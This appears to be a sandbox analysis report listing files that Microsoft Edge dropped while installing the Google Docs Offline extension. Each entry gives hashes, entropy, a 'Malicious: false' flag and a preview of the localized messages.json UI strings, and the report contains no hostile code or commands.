Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
